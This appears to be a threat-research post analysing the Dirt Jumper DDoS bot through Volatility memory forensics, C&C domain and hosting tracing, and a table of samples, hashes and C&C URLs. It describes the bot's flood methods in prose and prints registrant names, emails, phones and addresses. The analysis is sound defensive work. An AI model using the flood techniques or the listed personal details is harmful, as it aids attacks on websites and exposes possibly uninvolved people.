Volatility 'connections' command

The Volatility 'sockets' command will display the listening sockets for any protocol. In the figure below, we see many open sockets for both the UDP and TCP protocol. With one exception, all of these processes are again associated with Process ID 1900, 'svgtook.exe'. By virtue of its many open sockets and dozens of outbound connections, Process ID 1900 certainly seems worth a closer look.

Volatility 'sockets' command

By the way, a great new feature of Volatility 2.0 is the 'netscan' plugin. This plugin will scan for network connection artifacts in Windows Vista, Windows 2008 Server and Windows 7 memory artifacts. From the Volatility wiki, "To scan for network artifacts in Windows Vista, Windows 2008 Server and Windows 7 memory dumps, use the netscan command. This finds TCP endpoints, TCP listeners, UDP endpoints, and UDP listeners. It distinguishes between IPv4 and IPv6, prints the local and remote IP (if applicable), the local and remote port (if applicable), the time when the socket was bound or when the connection was established, and the current state (for TCP connections only)."

Since I ran this analysis on a Windows XP system, I'm not able to show you a 'netscan' output for this particular instance.  In a follow-up analysis, I'll utilize Volatility under Windows 7.

To look more closely at Process 1900, we can dump the process from physical memory. This allows us to examine the process in its executing context as opposed to a packed and possibly obfuscated state. One typical analysis step is to dump the process and use the 'strings' command to look for items of interest.  Let's see the result of performing this against our Process 1900.  Using the Volatility command 'procmemdump', the 'svgtook.exe' process (PID 1900) is dumped to the specified directory. The following image shows this command being run, followed by running strings against the dumped file, and using 'grep' to search for the string "http".

Volatility 'procdump' command

The results show various strings containing "http" being discovered in the dumped file. These include various legitimate sites, as well as the string 'httpsend_s".

One of the best ways to discover evidence pertaining to a suspicious process is to dump the Virtual Address Descriptor (VAD) and examine the dumped sections with the 'strings' command. By examining the dumped VAD segments, you can get an excellent view of the "live" data associated with the examined process.  A good reference for this can be found in the whitepaper, "The VAD tree: A process-eye view of physical memory" by Brendan Dolan-Gavitt. From the whitepaper," The Virtual Address Descriptor tree is used by the Windows memory manager to describe memory ranges used by a process as they are allocated. When a process allocates memory with VirutalAlloc, the memory manager creates an entry in the VAD tree."   Since I'm particularly interested in any URLs or network connection remnants associated with Process 1900, I'll use the 'vaddump' command to dump the VAD memory segments associated with this process.

Volatility 'vaddump' command

The result of this command leaves approx 950 files in the dump directory of the VAD segments associated with PID 1900.  Running 'strings' and grepping for 'http' yields two segments of interest.

Examining VAD segments for the string "http"

In the image above, we see VAD segment 'svgtook.exe.23ce450.00400000-00dadfff.dmp' reference the same web sites as seen in the dumped process, while 'svgtook.exe.23ce450.01420000-0151ffff.dmp' shows references to various DDoS target URLs received, as well as the C&C "http://asdaddddaaaa.com"

So in this brief analysis, we have been able to utilize Volatility to quickly extract key information about the running Dirt Jumper process. This also equips us to further investigate this process, as well as how other Windows processes may be affected. For example, Volatility allows for extensive registry carving and analysis as well as the use of plugins specifically designed for analyzing malicious code.

---

3. Command & Control servers 
MD5 F29B1089B3F5E076D4D4BD2A3A02D3CB 

Upon execution, Dirt Jumper sample f29b1089b3f5e076d4d4bd2a3a02d3cb attempted DNS resolution for the domain, asdaddddaaaa.com.

The domain registration information for asdaddddaaaa.com is: 

Domain Name: ASDADDDDAAAA.COM

Registrar: BIZCN.COM, INC.

Whois Server: whois.bizcn.com

Referral URL: http://www.bizcn.com

Name Server: NS1.FREEDNS.WS

Name Server: NS2.FREEDNS.WS

Status: clientDeleteProhibited

Status: clientTransferProhibited

Updated Date: 19-jun-2011

Creation Date: 18-feb-2011

Expiration Date: 18-feb-2012

Registrant Contact:

Mark Livingston

Mark Livingston j.hnvns.92@gmail.com

+1.2147899961 fax: +1.2147899961

446 Ridge Point drive Forney TX 75126 

As of this writing, DNS results show that the C&C is running on IP address, 195.3.145.87 which managed by Altnet-Latvia (ASN41390). There are several other domains and nameservers running on that IP address, including:      

• bestdumps.biz
• lost-pass.ru
• mail.asdaddddaaaa.com
• mittmax.com
• ns1.euro-2012portal.com
• ns1.euro2012-portal.com
• ns2.euro-2012portal.com
• ns2.euro2012-portal.com
• open-pass.com
• pizdaruliu.net
• skachatiskype.ru
• skype4download.ru
• www.mittmax.com
• www.skype-rf.ru
• www.skype4download.ru
• xaker.me 

Prior to hosting on Altnet-Latvia (ASN41390), asdaddddaaaa.com was utilizing the following IP addresses and providers for its domain hosting:

• 46.108.225.57 - AS50244 - ITELECOM - Romania
• 46.108.225.60 - AS50244 - ITELECOM - Romania
• 46.108.225.72 - AS50244 - ITELECOM - Romania
• 46.252.130.141 - Sagade - Latvia
• 46.252.130.150 - Sagade - Latvia
• 46.252.131.5 - Sagade - Latvia
• 46.252.131.7 - Sagade - Latvia
• 46.252.131.9 - Sagade - Latvia
• 94.244.80.217 - AS25190 - Kauno Interneto Sistemos - Lithuania
• 95.64.50.30 - AS48266 - Netserv Consult - Romania
• 141.136.16.100 - AS50515 - TIER-DATA-CENTER - Romania
• 223.25.242.107 - AS55720 - GIGABIT- Malaysia
• 223.25.242.196 - AS55720 - GIGABIT- Malaysia
• 195.3.145.87 - AS41390 - RN-DATA - Latvia

It is often interesting to trace the routing information of the hosting provider in question. The diagram below was produced using BGPlay. BGPlay displays the routing information for a network prefix for a defined time period. In this case, I ran BGPlay for the prefix 195.3.144.0/22 from 09/9/2011 thru 10/9/2011. From the results, you can see that during this time, Altnet-Latvia had Telenet SIA in Latvia (ASN24589), as its only upstream. Walking "up the upstream", we see the following relationships:

BGPlay information for Altnet-Latvia (AS41390)

Telenet SIA (ASN24589) is the sole upstream for Alnet-Latvia

BKCNet Latvia (ASN6851) is the sole upstream for Telenet SIA

Telia Latvija (ASN5518) is the sole upstream for BKCNet Latvia

TeliaNet Sweden (ASN1299) is the sole upstream for Telia Latvija

Routeviews BGP Information for IP 195.3.145.87

Based on additional research I did, it's very clear that this Dirt Jumper C&C isn't the only malicious activity on Alnet-Latvia.
PhishTank Report
Spamhaus Report
malc0de Report


I wonder if the folks at TeliaNet Sweden, or the other upstreams to Alnet-Latvia are aware of this?  This would also be a good time to remind hosting providers, ISPs, and network operators to subscribe to the Shadowserver ASN & Netblock Reporting Service.  


DDoS Victims 
This is a very active DDoS bot, with a wide variety of targets across many industries. Over a two week observation period, the asdaddddaaaa.com controller has targeted victims in the following industries:   

• Aviation Products and Services

  

      Host-tracker.com  showing problems
      experienced by targeted domains

• Porn sites     
• Cargo and Shipping   
• Jewelry     
• Auto Dealer Services     
• Real Estate     
• Wholesale Shopping
• Audio Products    
• Classified ad sites     
• Office Space providers     
• Online Forex Trading     
• Clothing and Gifts 

As described in more detail later in this post, we have detected several other C&Cs that appear to be related to the same group operating asdaddddaaaa.com. Several of them continue to actively initiate DDoS attacks. We are currently monitoring these controllers and sharing the victim lists with appropriate law enforcement agencies and the victim organizations.

---

4. Dirt Jumper current versions and general information

The bot is binary is relatively large, 170-270 kB and is packed with UPX. The bot tasks are not encrypted as you can see in the pcaps and on the C&C server.

DDoS task for bots as seen on a C&C page

Current Dirt Jumper Versions and Features

Version 3, "September", and private versions  - 2011

• Multipurpose flood (Light) – combination type of attack when packages with random data sent to the server.  The bot uses a varying User Agent

  

  Control Panel. Img.src: shopworld.biz

  and referer, receives and sends cookies, builds packages of different lengths, different types of content, changes timeout and sending rate.
• Multipurpose flood (Full) – Same as Multipurpose flood (Light) but POST data is added POST requests will exhaust server resources due to its need to process the data, requiring participation of apache, php, and any linked database. This also helps to avoid Anti-DDoS measures because it imitates random browser requests.  
• HTTP flood (DJSFlood) – The author claims it is unique to his bot.  The method is very similar to simple http, but at the same time is not standard structure. It's “something between http and udp”. This method can be used for port attacks. The syntax is: http://IP:PORT/  with 300-500 threads
• POST flood (TimeOut) - Same as above, but it is possible to send data using POST. There is the way to set timeouts for response after sending the data.

Other features

• Works with http, https
• Varied User Agent and Referer
• Multithreading, can attack up to 999 websites simultaneously
• Can attack by IP, domain name, port, ftp
• Access to the admin panel may be limited by IP. Additionally, the first level login page can be accessed only by specifying the correct GET-Passwd. The correct password then allows access to the next level, the regular login page.
• Can attack up to 999 sites simultaneously  

Version 2 - 2010

Dirt Jumper v.2 Img.Src: Damagelab.org

• HTTP flood: This type of attack can cause server overload due to frequent, repeated conventional HTTP requests.  As soon as the webserver is ready to answer, the bot breaks the connection and sends a new request 
• Synchronous flood: This method of attack is effective only when more than 150 threads in use. The bot makes 150+ simultaneous requests, waits until the server responds and repeats it
• Downloading flood: The bots download  files from the website causing bandwidth saturation. 
• POST flood:  The bot  can make GET and POST requests at the same time. That is, it can send a random usernames and passwords  to website forms, causing a tremendous load on the server 

Other features are the same as you see above in Version 3.  


Version 1 

Dirt Jumper v.1 Control Panel. Img.Src: xaknet.ru

There is not much information about version 1 available.  The one description found is the following:

• Multithreaded attack, number of threads can be changed without interrupting the attack
• Can attack http, https
• Can attack by DOMAIN:PORT 
• Can attack several sites at once
• Can set up the time when you need to bot to call back
• Can change User Agent
• Bot is installed as a system service
• The bot owner can choose the name of the bot process

---

5. Review of other samples, command and control servers and DDoS actor groups

Analysis of Dirt Jumper C&C servers and their victims was based on publicly available sandbox results from Threatexpert.com, Sssdsandbox.net, Anubis.iseclab.org, and others. The search yielded two dozen C&C servers with groups attackers that utilize both types of the bot described in Section 1 of this post, Binary analysis and comparison. These were frequently seen on the same domains. For example, http://wow-siti.ru/www/m_d.php (type 1) and http://wow-siti.ru/1​/index.p​hp (type 2)

The results showed similar naming conventions for the bot executable file name that is normally chosen by the botnet owner. This was seen as identical names or often starting with "sv" like in "sviooue.exe" and "svgtook.exe", as well as the GET or POST URLs for the drone. 

In addition, some C&C servers had a history of being hosted on same IP addresses in the past and being moved simultaneously from one hosting provider to another. Other attribution points included seeing the same email addresses in the domain registration, and similar domain names (e.g.xruw0q.com, zprw6q.com and xzrw0q.com; jfasfasfasfasf.com and asdaddddaaaa.com). The resulting matrix clearly shows that seemingly unrelated C&C servers may be operated by the same actors.

Group 1

(abacava.net + asdaddddaaaa.com)

Same email address in domain registration, same hosting

+

(jfasfasfasfasf.com)

History of hosting on the same domains as C&C above

+

(xzrw0q.com+whozdadx.org)
Same bot name

+

(xruw0q.com+zprw6q.com)

same domain naming convention as in xzrw0q.com above

Group 2

(wow-siti.ru + mwas.ru)

Same email address in domain registration, same hostng

+

(s0r.ru)

Same hosting

+

(95.211.63.38) -

Same bot file name

exe name    CC IP    IP location    Domain URL    Domain owner    MD5

klhkg.exe    195.3.145.220    RN Data, SIA Latvia    http://abacava.net/s4/index.php    Phinney Business Skye Phinney jh.nvns.92@gmail.com +1.7814548993 fax: +1.6612830438 8536 Kern canyon Road, Sp 35 Bakersfield CA 93306 United States    4C01B3D5B80E18CE2E981E25740B395A

svdhalp.exe    195.3.145.220    RN Data, SIA Latvia    http://abacava.net/f2/m_d.php    Phinney Business Skye Phinney jh.nvns.92@gmail.com    2cc731473ef8d968050aa2c9e914150d

svgtook.exe    195.3.145.87    RN Data, SIA Latvia    http://asdaddddaaaa.com/678/index.php    Mark Livingston Mark Livingston j.hnvns.92@gmail.com +1.2147899961 fax: +1.2147899961 446 Ridge Point drive Forney TX 75126 United States    f9a65bc3a197600d23557eceb1f3125c

svcghkkjl.exe    46.108.225.72    Pixel View SRL Romania    http://jfasfasfasfasf.com/887/index.php    Hartford Business Joe Hartford bezerosavyk@yahoo.com +1.7814548993 fax: +1.7814548993 32 Cedar Street,Apt. #4 Waltham MA 02453 United States    C0FCBF7B96474DCF074339575EC1EF3B

svdhalp.exe    31.192.109.164    Mir Telematiki Ltd Russia    http://xzrw0q.com/driver32/update/m_d.php     BIZCN.COM, INC.    f7c0314fb0fbd52af9d4d721b2c897a2

sviooue.exe    31.192.109.162    Ultra Web Solutions  India    http://xruw0q.com/fcfxD/load.php    No. 61 Wanghai Road, Xiamen Software Park xiamen fujian 361008 China    6D54FB6753D719CA3EC991A9CBD9743C

svdhalp.exe    77.79.11.86    Webhosting, Lithuania    http://whozdadx.org/c4/m_d.php    Jabon Lorkan Inconmun Klopi 12 New-York    627f2bda0c5abe4d3e7ae68b877dcfd0

sviooue.exe    91.217.153.114    Alexey Klimenko Ukraine    http://zprw6q.com/frexpex/index.php    Whois Privacy  gmvjcxkxhs@whoisservices.cn    79a9327dd9f9911c0f08fd4d3c3b26c8

svajnager.exe    184.22.118.89    NOC Scranton PA    http://wow-siti.ru/1​/index.p​hp    Private Person vzlomaem@xaker.ru ns1.antiddos-servis.ru. ns2.antiddos-servis.ru.    9277796C0F8EBF1078C52D88E8FAAA5D

svflooje.exe    184.22.118.89    NOC Scranton PA    s0r.ru    Private Person qwer.vdv@gmail.com    7CA86FB5C76B74390B4E7200E4A09514

svflooje.exe    184.22.118.89    NOC Scranton PA    unknown    unknown    E7B65933F069A81AB089D055D6BDD17A
svflooje.exe    184.22.243.172    NOC Los Angeles CA    http://mwas.ru/666/index.php    Private Person vzlomaem@xaker.ru ns1.reg.ru. ns2.reg.ru.    6f610c089205a6433fc56c58e30840d1

svflooje.exe    95.211.63.38    LeaseWeb Netherlands    http://95.211.63.38/index.php    ip    5998968B6B92E8B8076A8D846C75B855

svsysnt.exe     78.108.84.160    Majordomo Llc Russia    http://startraider.com/login/index.php     smk.majordomo.ru Alex Leman () Fax: 226 E 45th St New York, NY 10017 United States    D65C7F3B29F162F4104FC150614D5BE7

kmhfoot.exe    195.189.226.193    SERVER.UA Ukraine    http://nntudazashel.ru/dj/a.php    Private Person root@dgrad-host.ru ns1.vainet.ru. ns2.vainet.ru.    fb88c02090d9a42fef851b600fd8ec8

svciyyyt.exe    46.252.130.102    users Latvia Andrejs Kaminskis    http://46.252.130.102/www/index.php    ip    4E89DF9540358C4524597856D6A08032
unknown    80.79.118.230    Aktsiaselts WaveCom Estonia    http://hotklass.com/a2/index.php     PrivacyProtect.org Domain Admin (contact@privacyprotect.org ) ID#10760, PO Box 16 Note - All Postal Mails Rejected, visit Privacyprotect.org Nobby Beach null,QLD 4218 Australia Tel. +45.369466    ac65790032bbcdc7f35dce0c0e43c434

svlanager.exe    94.244.80.5    UAB KIS Lithuania    unknown    unknown    54DC76D3F0930A88211207453343E5008BA0161E

svlkanager.exe    unknown    unknown    unknown    unknown    CDBF7C49E3FDDAACC3154F13CE93521D
svcgoow.exe    unknown    unknown    unknown    unknown    f268ee8e4a5091139e5986b23389e80e